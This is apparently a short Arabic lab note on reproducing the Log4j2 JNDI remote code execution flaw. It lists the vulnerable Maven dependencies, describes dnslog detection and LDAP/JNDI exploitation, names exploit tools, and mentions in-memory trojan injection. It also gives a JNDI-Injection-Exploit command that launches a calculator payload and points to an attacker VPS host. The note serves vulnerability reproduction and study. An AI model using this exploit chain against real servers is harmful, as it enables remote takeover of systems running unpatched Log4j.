بيئة التحقق من Apache Log4j2 RCE

منذ 2021.12.09

بعض المراجع

https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg

إعداد البيئة

استيراد الحزم المرتبطة ونطاق الإصدارات المعرضة للخطر باستخدام Maven

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

الفحص

استخدام dnslog للكشف عن الاستخدام

استخدام ldap مع jndi لاستغلال RCE

يتعلق بإصدار JDK، بعد JDK 11.0.1 و8u191 و7u201 و6u211، يجب ضبط trustURLCodebase يدويًا على true

لمزيد من التعلم التفصيلي حول هذا، راجع https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/

طريقة الاستغلال، يمكن دمجها مع أدوات حقن jndi، مثل JNDI-Injection-Exploit وfastjson_rce_tool وJNDIExploit

يمكن أيضًا دمج الأدوات لتحقيق طرق عرض النتائج المتعددة المعلنة، وطرق حقن الأحصنة الطروادة في الذاكرة

# 
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app"  -A your_vps_ip

Web

TODO

حول

https://github.com/apache/logging-log4j2/tags